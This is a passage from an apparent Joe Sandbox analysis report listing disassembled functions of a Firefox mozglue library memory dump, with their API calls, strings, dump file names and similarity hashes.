Part of subcall function 6C98CAB0: EnterCriticalSection.KERNEL32(?), ref: 6C98CB49
Part of subcall function 6C98CAB0: LeaveCriticalSection.KERNEL32(?), ref: 6C98CBB6

strncpy.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,00000000), ref: 6C987EC4
mozalloc_abort.MOZGLUE(?), ref: 6C987F19
malloc.MOZGLUE(?), ref: 6C987F36
memcpy.VCRUNTIME140(00000000,?,?), ref: 6C987F4D

Strings

d, xrefs: 6C987F89

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: CriticalSectionmalloc$EnterLeavememcpymozalloc_abortstrlenstrncpy
String ID: d
API String ID: 204725295-2564639436
Opcode ID: 8eabec249789046538e3bdc8ce8b14f0c5b1382405edcfa1525eb34e87bb8c5f
Instruction ID: 6dfdad77c3fd53e277e211b2455dd26fd531ae16953d8d282461ee6432c30e8f
Opcode Fuzzy Hash: 8eabec249789046538e3bdc8ce8b14f0c5b1382405edcfa1525eb34e87bb8c5f
Instruction Fuzzy Hash: 73311662E0438897DF019B68DC445FEB778EFB6208F149629EC595B712FB30E698C390

Function 6C983E80 Relevance: 13.7, APIs: 9, Instructions: 246memoryCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(?,00000000,?), ref: 6C983EEE
RtlFreeHeap.NTDLL ref: 6C983FDC
RtlAllocateHeap.NTDLL(?,00000000,00000040), ref: 6C984006
RtlFreeHeap.NTDLL ref: 6C9840A1
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C983CCC), ref: 6C9840AF
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,00000000,?,?,?,?,?,?,6C983CCC), ref: 6C9840C2
RtlFreeHeap.NTDLL ref: 6C984134
RtlFreeUnicodeString.NTDLL(?,?,00000000,?,?,?,?,?,?,6C983CCC), ref: 6C984143
RtlFreeUnicodeString.NTDLL(?,?,?,00000000,?,?,?,?,?,?,6C983CCC), ref: 6C984157

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Free$Heap$StringUnicode$Allocate
String ID:
API String ID: 3680524765-0
Opcode ID: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction ID: 731109814d280e8dfadcc6840e8982f8bdb70b4b652706f75d5270cfe6e8ccf2
Opcode Fuzzy Hash: b13ab191b94d3bc336a0173e00329c51f753acdad4a2e35824d3aa2c58c5bb22
Instruction Fuzzy Hash: 86A182B1A01215CFEB40CF28C88076ABBB9FF58318F254959D909AF742D771D956CFA0

Function 6C972030 Relevance: 13.7, APIs: 7, Strings: 2, Instructions: 204memoryCOMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,6C993F47,?,?,?,6C993F47,6C991A70,?), ref: 6C97207F
memset.VCRUNTIME140(?,000000E5,6C993F47,?,6C993F47,6C991A70,?), ref: 6C9720DD
VirtualFree.KERNEL32(00100000,00100000,00004000,?,6C993F47,6C991A70,?), ref: 6C97211A
EnterCriticalSection.KERNEL32(6C9FE744,?,6C993F47,6C991A70,?), ref: 6C972145
VirtualAlloc.KERNEL32(?,00100000,00001000,00000004,?,6C993F47,6C991A70,?), ref: 6C9721BA
EnterCriticalSection.KERNEL32(6C9FE744,?,6C993F47,6C991A70,?), ref: 6C9721E0
LeaveCriticalSection.KERNEL32(6C9FE744,?,6C993F47,6C991A70,?), ref: 6C972232

Strings

MOZ_CRASH(), xrefs: 6C97227D
MOZ_RELEASE_ASSERT(node->mArena == this), xrefs: 6C972253, 6C972268

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: CriticalSection$EnterVirtual$AllocFreeLeavememcpymemset
String ID: MOZ_CRASH()$MOZ_RELEASE_ASSERT(node->mArena == this)
API String ID: 889484744-884734703
Opcode ID: f4ba303b48c79ba575bfe3e3c0ba2d3e1c515b84874216ac1dd35f292cfde279
Instruction ID: e0e119fa18cdfd38a84a9ba83ad86fbab1aa4b3cb6390fec26da9501e2d84885
Opcode Fuzzy Hash: f4ba303b48c79ba575bfe3e3c0ba2d3e1c515b84874216ac1dd35f292cfde279
Instruction Fuzzy Hash: A561E431F16606CFCB24CE69C889B6E77B5BF95318F294139E924A7B84D730D900C7A1

Function 6C9748E0 Relevance: 13.7, APIs: 9, Instructions: 198COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(8E8DFFFF,?,6C9B483A,?), ref: 6C974ACB
memcpy.VCRUNTIME140(-00000023,?,8E8DFFFF,?,?,6C9B483A,?), ref: 6C974AE0
moz_xmalloc.MOZGLUE(FFFE15BF,?,6C9B483A,?), ref: 6C974A82

Part of subcall function 6C98CA10: mozalloc_abort.MOZGLUE(?), ref: 6C98CAA2

memcpy.VCRUNTIME140(-00000023,?,FFFE15BF,?,?,6C9B483A,?), ref: 6C974A97
moz_xmalloc.MOZGLUE(15D4E801,?,6C9B483A,?), ref: 6C974A35

Part of subcall function 6C98CA10: malloc.MOZGLUE(?), ref: 6C98CA26

memcpy.VCRUNTIME140(-00000023,?,15D4E801,?,?,6C9B483A,?), ref: 6C974A4A
moz_xmalloc.MOZGLUE(15D4E824,?,6C9B483A,?), ref: 6C974AF4
moz_xmalloc.MOZGLUE(FFFE15E2,?,6C9B483A,?), ref: 6C974B10
moz_xmalloc.MOZGLUE(8E8E0022,?,6C9B483A,?), ref: 6C974B2C

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: moz_xmalloc$memcpy$mallocmozalloc_abort
String ID:
API String ID: 4251373892-0
Opcode ID: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction ID: caf66526ca9d6737eea05b0f1a8f6037c8146d95ccc8c2be01a70f27ba642b1e
Opcode Fuzzy Hash: 5d8f15a46075c6f23e74a93108e1c775b8c62672de11371df24fb4108a31228e
Instruction Fuzzy Hash: FB715AB19017069FCB64CF68C480AAAB7F5FF28308B104A3ED55A9BB51E731E955CF90

Function 6C9C9D00 Relevance: 13.7, APIs: 9, Instructions: 178timeCOMMON

Download Yara Rule

APIs

??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C9C8273), ref: 6C9C9D65
free.MOZGLUE(6C9C8273,?), ref: 6C9C9D7C
free.MOZGLUE(?,?), ref: 6C9C9D92
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?), ref: 6C9C9E0F
free.MOZGLUE(6C9C946B,?,?), ref: 6C9C9E24
free.MOZGLUE(?,?,?), ref: 6C9C9E3A
??GTimeStampValue@mozilla@@QBE_KABV01@@Z.MOZGLUE(?,?,?), ref: 6C9C9EC8
free.MOZGLUE(6C9C946B,?,?,?), ref: 6C9C9EDF
free.MOZGLUE(?,?,?,?), ref: 6C9C9EF5

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: free$StampTimeV01@@Value@mozilla@@
String ID:
API String ID: 956590011-0
Opcode ID: a3c5dbb3baca33e6d9aa2f38104fe0f1eedc852f977dfe6db2bbf211a989cf59
Instruction ID: b19c263ef28d9fbfc2a2f4a1d03f45906c2665652ded7cc594133fa0f392fcfe
Opcode Fuzzy Hash: a3c5dbb3baca33e6d9aa2f38104fe0f1eedc852f977dfe6db2bbf211a989cf59
Instruction Fuzzy Hash: 0F71B1B0A09B419BC712CF58C48055BF3F4FFA9319B45861DE85A5BB02EB31E885CBD2

Function 6C9CDDC0 Relevance: 13.7, APIs: 9, Instructions: 152COMMON

Download Yara Rule

APIs

?profiler_get_core_buffer@baseprofiler@mozilla@@YAAAVProfileChunkedBuffer@2@XZ.MOZGLUE ref: 6C9CDDCF

Part of subcall function 6C9AFA00: ReleaseSRWLockExclusive.KERNEL32(?), ref: 6C9AFA4B

Part of subcall function 6C9C90E0: free.MOZGLUE(?,00000000,?,?,6C9CDEDB), ref: 6C9C90FF
Part of subcall function 6C9C90E0: free.MOZGLUE(?,00000000,?,?,6C9CDEDB), ref: 6C9C9108

free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9CDE0D
free.MOZGLUE(00000000), ref: 6C9CDE41
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9CDE5F
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9CDEA3
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6C9CDEE9
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C9BDEFD,?,6C984A68), ref: 6C9CDF32

Part of subcall function 6C9CDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C9CDB86
Part of subcall function 6C9CDAE0: ??1MutexImpl@detail@mozilla@@QAE@XZ.MOZGLUE ref: 6C9CDC0E

free.API-MS-WIN-CRT-HEAP-L1-1-0(?,6C9BDEFD,?,6C984A68), ref: 6C9CDF65
free.MOZGLUE(?), ref: 6C9CDF80

Part of subcall function 6C995E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C995EDB
Part of subcall function 6C995E90: memset.VCRUNTIME140(6C9D7765,000000E5,55CCCCCC), ref: 6C995F27
Part of subcall function 6C995E90: LeaveCriticalSection.KERNEL32(?), ref: 6C995FB2

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: free$CriticalImpl@detail@mozilla@@MutexSection$?profiler_get_core_buffer@baseprofiler@mozilla@@Buffer@2@ChunkedEnterExclusiveLeaveLockProfileReleasememset
String ID:
API String ID: 112305417-0
Opcode ID: df6c06a99389f1644f29743a8a35065613889a053c81d61bb58bd14be7d1fa50
Instruction ID: 1bd923fc703d784883359529fad034169505719e344e0caa413c644bdb0fe6f7
Opcode Fuzzy Hash: df6c06a99389f1644f29743a8a35065613889a053c81d61bb58bd14be7d1fa50
Instruction Fuzzy Hash: 3A51C3737456019BD7219B28D8806EFB3B6BFA1318F9A011CD85A53B00DB31F91ACB93

Function 6C9D5D10 Relevance: 13.6, APIs: 9, Instructions: 126COMMON

Download Yara Rule

APIs

?_Fiopen@std@@YAPAU_iobuf@@PB_WHH@Z.MSVCP140(?,00000001,00000040,?,00000000,?,6C9D5C8C,?,6C9AE829), ref: 6C9D5D32
?getloc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000000,00000001,?,?,?,?,00000000,?,6C9D5C8C,?,6C9AE829), ref: 6C9D5D62
??0_Lockit@std@@QAE@H@Z.MSVCP140(00000000,?,?,?,?,00000000,?,6C9D5C8C,?,6C9AE829), ref: 6C9D5D6D
??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,?,00000000,?,6C9D5C8C,?,6C9AE829), ref: 6C9D5D84
?_Getgloballocale@locale@std@@CAPAV_Locimp@12@XZ.MSVCP140(?,?,?,?,00000000,?,6C9D5C8C,?,6C9AE829), ref: 6C9D5DA4
?_Getcat@?$codecvt@DDU_Mbstatet@@@std@@SAIPAPBVfacet@locale@2@PBV42@@Z.MSVCP140(?,?,?,?,?,?,00000000,?,6C9D5C8C,?,6C9AE829), ref: 6C9D5DC9
std::_Facet_Register.LIBCPMT ref: 6C9D5DDB
??1_Lockit@std@@QAE@XZ.MSVCP140(?,?,?,?,00000000,?,6C9D5C8C,?,6C9AE829), ref: 6C9D5E00
abort.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,00000000,?,6C9D5C8C,?,6C9AE829), ref: 6C9D5E45

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Lockit@std@@$??0_??1_?getloc@?$basic_streambuf@Bid@locale@std@@D@std@@@std@@Facet_Fiopen@std@@Getcat@?$codecvt@Getgloballocale@locale@std@@Locimp@12@Mbstatet@@@std@@RegisterU?$char_traits@U_iobuf@@V42@@Vfacet@locale@2@Vlocale@2@abortstd::_
String ID:
API String ID: 2325513730-0
Opcode ID: 968d035562db4e2599f3bd2a74afa75230a2f083fd6cc64aea4fdf3397f6becf
Instruction ID: 49f0e32378e246294492af363041451062ead8ecd322cb347f20babf7aacbedb
Opcode Fuzzy Hash: 968d035562db4e2599f3bd2a74afa75230a2f083fd6cc64aea4fdf3397f6becf
Instruction Fuzzy Hash: 414192B07043059FDB00EFA5C898AAE77B9EF59358F158068D516AB791DB30EC05CB61

Function 6C9ACC60 Relevance: 13.6, APIs: 7, Strings: 2, Instructions: 104memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,00003000,00003000,00000004,?,?,?,6C9731A7), ref: 6C9ACDDD

Strings

: (malloc) Error in VirtualFree(), xrefs: 6C9ACFA4, 6C9ACFB8
<jemalloc>, xrefs: 6C9ACF9F, 6C9ACFB3

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: AllocVirtual
String ID: : (malloc) Error in VirtualFree()$<jemalloc>
API String ID: 4275171209-2186867486
Opcode ID: 79731a174bf88bb1efe4ef273d94373a2bd38ca5424b2c30c9b2060880105214
Instruction ID: 32bf53c81663cf94a488fc0215d41535638d393e2a23352e15188fdb58653a16
Opcode Fuzzy Hash: 79731a174bf88bb1efe4ef273d94373a2bd38ca5424b2c30c9b2060880105214
Instruction Fuzzy Hash: 3D31CA707452055BFF10AFE58D45B6E7B79BB45B18F304018F524AFAC0DB72D9128BA1

Function 6C97ECD0 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 143fileCOMMON

Download Yara Rule

APIs

Part of subcall function 6C97F100: LoadLibraryW.KERNEL32(shell32,?,6C9ED020), ref: 6C97F122
Part of subcall function 6C97F100: GetProcAddress.KERNEL32(00000000,SHGetKnownFolderPath), ref: 6C97F132

moz_xmalloc.MOZGLUE(00000012), ref: 6C97ED50
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C97EDAC
wcslen.API-MS-WIN-CRT-STRING-L1-1-0(00000000,\Mozilla\Firefox\SkeletonUILock-,00000020,?,00000000), ref: 6C97EDCC
CreateFileW.KERNEL32 ref: 6C97EE08
free.MOZGLUE(00000000), ref: 6C97EE27
free.MOZGLUE(?,?,?,?,?,?,?,00000000,00000000,00000000), ref: 6C97EE32

Part of subcall function 6C97EB90: moz_xmalloc.MOZGLUE(00000104), ref: 6C97EBB5
Part of subcall function 6C97EB90: memset.VCRUNTIME140(00000000,00000000,00000104,?,?,6C9AD7F3), ref: 6C97EBC3
Part of subcall function 6C97EB90: GetModuleFileNameW.KERNEL32(00000000,00000000,00000104,?,?,?,?,?,?,6C9AD7F3), ref: 6C97EBD6

Strings

\Mozilla\Firefox\SkeletonUILock-, xrefs: 6C97EDC1

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: Filefreemoz_xmallocwcslen$AddressCreateLibraryLoadModuleNameProcmemset
String ID: \Mozilla\Firefox\SkeletonUILock-
API String ID: 1980384892-344433685
Opcode ID: 84393c70f8bf6a939486ad056d95d08f6e43d697819cfe682b1ab5aa3f800a02
Instruction ID: 35e9695562c74eb83331751298012b3fe86b9d6c25bafd130b51d3e2e86f8142
Opcode Fuzzy Hash: 84393c70f8bf6a939486ad056d95d08f6e43d697819cfe682b1ab5aa3f800a02
Instruction Fuzzy Hash: 9351E071D06204DFDB21DF68D9416EEB7B4AF69318F04892DE8556B740E730E948C7B2

Function 6C9EA520 Relevance: 12.4, APIs: 5, Strings: 2, Instructions: 117COMMON

Download Yara Rule

APIs

?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C9EA565

Part of subcall function 6C9EA470: strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C9EA4BE
Part of subcall function 6C9EA470: memcpy.VCRUNTIME140(?,?,00000000), ref: 6C9EA4D6

?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE ref: 6C9EA65B
?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C9EA6B6

Strings

z, xrefs: 6C9EA6AE
0, xrefs: 6C9EA5FB

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@$Ascii@CreateDtoaExponentialHandleMode@12@Representation@SpecialValues@memcpystrlen
String ID: 0$z
API String ID: 310210123-2584888582
Opcode ID: 6f967687d326fbe45d4fe3d1f0023c7573bfa4f4b21fdffd4d4720f1b8bf5407
Instruction ID: 0ac7255640598212f66e510e5607129a6e5a7c18888c089b59a32e2420377626
Opcode Fuzzy Hash: 6f967687d326fbe45d4fe3d1f0023c7573bfa4f4b21fdffd4d4720f1b8bf5407
Instruction Fuzzy Hash: 114129719097459FC341DF28C480A9FBBF5BFAA354F408A2EF49987650EB30D549CB92

Function 6C9778C0 Relevance: 12.3, APIs: 8, Instructions: 320COMMON

Download Yara Rule

APIs

free.MOZGLUE(?,6C9F008B), ref: 6C977B89
free.MOZGLUE(?,6C9F008B), ref: 6C977BAC

Part of subcall function 6C9778C0: free.MOZGLUE(?,6C9F008B), ref: 6C977BCF

free.MOZGLUE(?,6C9F008B), ref: 6C977BF2

Part of subcall function 6C995E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6C995EDB
Part of subcall function 6C995E90: memset.VCRUNTIME140(6C9D7765,000000E5,55CCCCCC), ref: 6C995F27
Part of subcall function 6C995E90: LeaveCriticalSection.KERNEL32(?), ref: 6C995FB2

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: free$CriticalSection$EnterLeavememset
String ID:
API String ID: 3977402767-0
Opcode ID: 9a4fc23c9e73798e6ff5bcaa32cc6f65952e934e4acad2c11cf0041a3efb45e6
Instruction ID: d09c61599a0c0e442ea4947cbb95b454431d238c2d268705b739f093bbe74714
Opcode Fuzzy Hash: 9a4fc23c9e73798e6ff5bcaa32cc6f65952e934e4acad2c11cf0041a3efb45e6
Instruction Fuzzy Hash: 26C1B231E021298BEB358B68CD90BADB772FF51314F1507A9D41AABBC0D731DE858B61

Function 6C9B9420 Relevance: 12.3, APIs: 4, Strings: 3, Instructions: 45COMMON

Download Yara Rule

APIs

Part of subcall function 6C9AAB89: EnterCriticalSection.KERNEL32(6C9FE370,?,?,?,6C9734DE,6C9FF6CC,?,?,?,?,?,?,?,6C973284), ref: 6C9AAB94
Part of subcall function 6C9AAB89: LeaveCriticalSection.KERNEL32(6C9FE370,?,6C9734DE,6C9FF6CC,?,?,?,?,?,?,?,6C973284,?,?,6C9956F6), ref: 6C9AABD1

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING,6C984A68), ref: 6C9B945E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6C9B9470
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6C9B9482
__Init_thread_footer.LIBCMT ref: 6C9B949F

Strings

MOZ_BASE_PROFILER_LOGGING, xrefs: 6C9B947D
MOZ_BASE_PROFILER_VERBOSE_LOGGING, xrefs: 6C9B9459
MOZ_BASE_PROFILER_DEBUG_LOGGING, xrefs: 6C9B946B

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: getenv$CriticalSection$EnterInit_thread_footerLeave
String ID: MOZ_BASE_PROFILER_DEBUG_LOGGING$MOZ_BASE_PROFILER_LOGGING$MOZ_BASE_PROFILER_VERBOSE_LOGGING
API String ID: 4042361484-1628757462
Opcode ID: f14b6da31e205c3ebe89ad1a81d014e2009a16a2e47a1356d2c248339f59398b
Instruction ID: 9d0a081e31596349fdbe0079f5c250a646fe893356672b9f9d0925ef53331590
Opcode Fuzzy Hash: f14b6da31e205c3ebe89ad1a81d014e2009a16a2e47a1356d2c248339f59398b
Instruction Fuzzy Hash: 91014C70A041009BDF109B5CEC48A4633FA9B5632CF154537DC6AD6B51D731D45ACA9B

Function 6C9C0F40 Relevance: 12.2, APIs: 8, Instructions: 171threadtimeCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C9C0F6B
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C9C0F88
GetCurrentThreadId.KERNEL32 ref: 6C9C0FF7
InitializeConditionVariable.KERNEL32(?), ref: 6C9C1067
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(?,?,?), ref: 6C9C10A7
?profiler_capture_backtrace_into@baseprofiler@mozilla@@YA_NAAVProfileChunkedBuffer@2@W4StackCaptureOptions@2@@Z.MOZGLUE(00000000,?), ref: 6C9C114B

Part of subcall function 6C9B8AC0: ?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001,?,?,?,?,?,?,?,?,?,?,?,6C9D1563), ref: 6C9B8BD5

free.MOZGLUE(?), ref: 6C9C1174
free.MOZGLUE(?), ref: 6C9C1186

Memory Dump Source

Source File: 00000000.00000002.2794905608.000000006C971000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C970000, based on PE: true

Associated: 00000000.00000002.2794660772.000000006C970000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2796927143.000000006C9ED000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2797460795.000000006C9FE000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000000.00000002.2798231562.000000006CA02000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c970000_file.jbxd

Similarity

API ID: ?profiler_capture_backtrace_into@baseprofiler@mozilla@@Buffer@2@CaptureChunkedCurrentNow@Options@2@@ProfileStackStamp@mozilla@@ThreadTimeV12@_free$ConditionInitializeVariable
String ID:
API String ID: 2803333873-0
Opcode ID: ea623df38aafae22e965a2014335c94fd39bdbdeec1cbb84f768e60bb092b01e
Instruction ID: da24f546a6c1a1f19e18d51b840354d6c175ee0d4d44d6529eb2fe18e32cf808
Opcode Fuzzy Hash: ea623df38aafae22e965a2014335c94fd39bdbdeec1cbb84f768e60bb092b01e
Instruction Fuzzy Hash: 2361C0756083409BDB10CF24D88079AB7F5BFEA308F14991DE89947711EB31E989CB83

Function 6C97B630 Relevance: 12.1, APIs: 8, Instructions: 128COMMON

Download Yara Rule

APIs

